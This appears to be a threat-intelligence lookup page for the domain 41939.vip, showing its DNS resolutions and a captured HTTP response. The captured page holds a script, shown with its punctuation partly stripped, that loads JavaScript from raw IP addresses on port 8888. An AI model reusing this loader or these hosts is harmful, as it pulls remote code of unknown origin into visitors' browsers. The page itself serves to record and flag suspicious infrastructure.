Domain > 41939.vip

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2024-10-19	23.225.91.31 (ClassC)
2024-10-19	23.225.91.45 (ClassC)
2024-10-19	23.225.91.36 (ClassC)
2024-10-19	23.225.91.50 (ClassC)
2024-10-19	23.225.91.41 (ClassC)
2024-10-19	23.225.91.32 (ClassC)
2024-10-19	23.225.91.46 (ClassC)
2024-10-19	23.225.91.37 (ClassC)
2024-10-19	23.225.91.42 (ClassC)
2024-10-19	23.225.91.33 (ClassC)
2024-10-19	23.225.91.47 (ClassC)
2024-10-19	23.225.91.38 (ClassC)
2024-10-19	23.225.91.43 (ClassC)
2024-10-19	23.225.91.34 (ClassC)
2024-10-19	23.225.91.48 (ClassC)
2024-10-19	23.225.91.39 (ClassC)
2024-10-19	23.225.91.30 (ClassC)
2024-10-19	23.225.91.44 (ClassC)
2024-10-19	23.225.91.35 (ClassC)
2024-10-19	23.225.91.49 (ClassC)
2024-10-19	23.225.91.40 (ClassC)
2025-01-02	20.6.130.99 (ClassC)
2025-05-03	20.212.249.192 (ClassC)
2026-02-09	20.243.152.120 (ClassC)

Port 80

HTTP/1.1 200 OKConnection: closeCache-Control: max-age600Content-Type: text/html; charsetutf-8Content-Length: 1083Server: nginx

!DOCTYPE html>html>head>    meta nameviewport contentwidthdevice-width,initial-scale1,minimum-scale1,maximum-scale1>    meta http-equivContent-Type contenttext/html; charsetutf-8 />/head>body>    div stylewidth:100%; text-align: center; margin-top:20%>a stylefont-size:24px;font-weight:bold;text-decoration:none href idha>/a>/div>    script typetext/javascript>        function getdate() {            return btoa(location.host + (new Date().getMonth() + 1) +  + (new Date().getDate()) +  + (new Date().getHours()));        }        function loadjs(b, ffj, po) {            var a  document.createElement(script);            a.src  https:// + b + : + po + /js/vue. + ffj;            document.getElementsByTagName(body)0.appendChild(a)        }        loadjs(20.243.134.234, js?u + getdate(), 8888);        setTimeout(			function(){				if(typeof uurlundefined){loadjs(23.186.216.16,new Date().getTime()+js?u+new Date().getTime(),8888)}			}		,1500)    /script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 41939.vip

Is this malicious?

DNS Resolutions

Port 80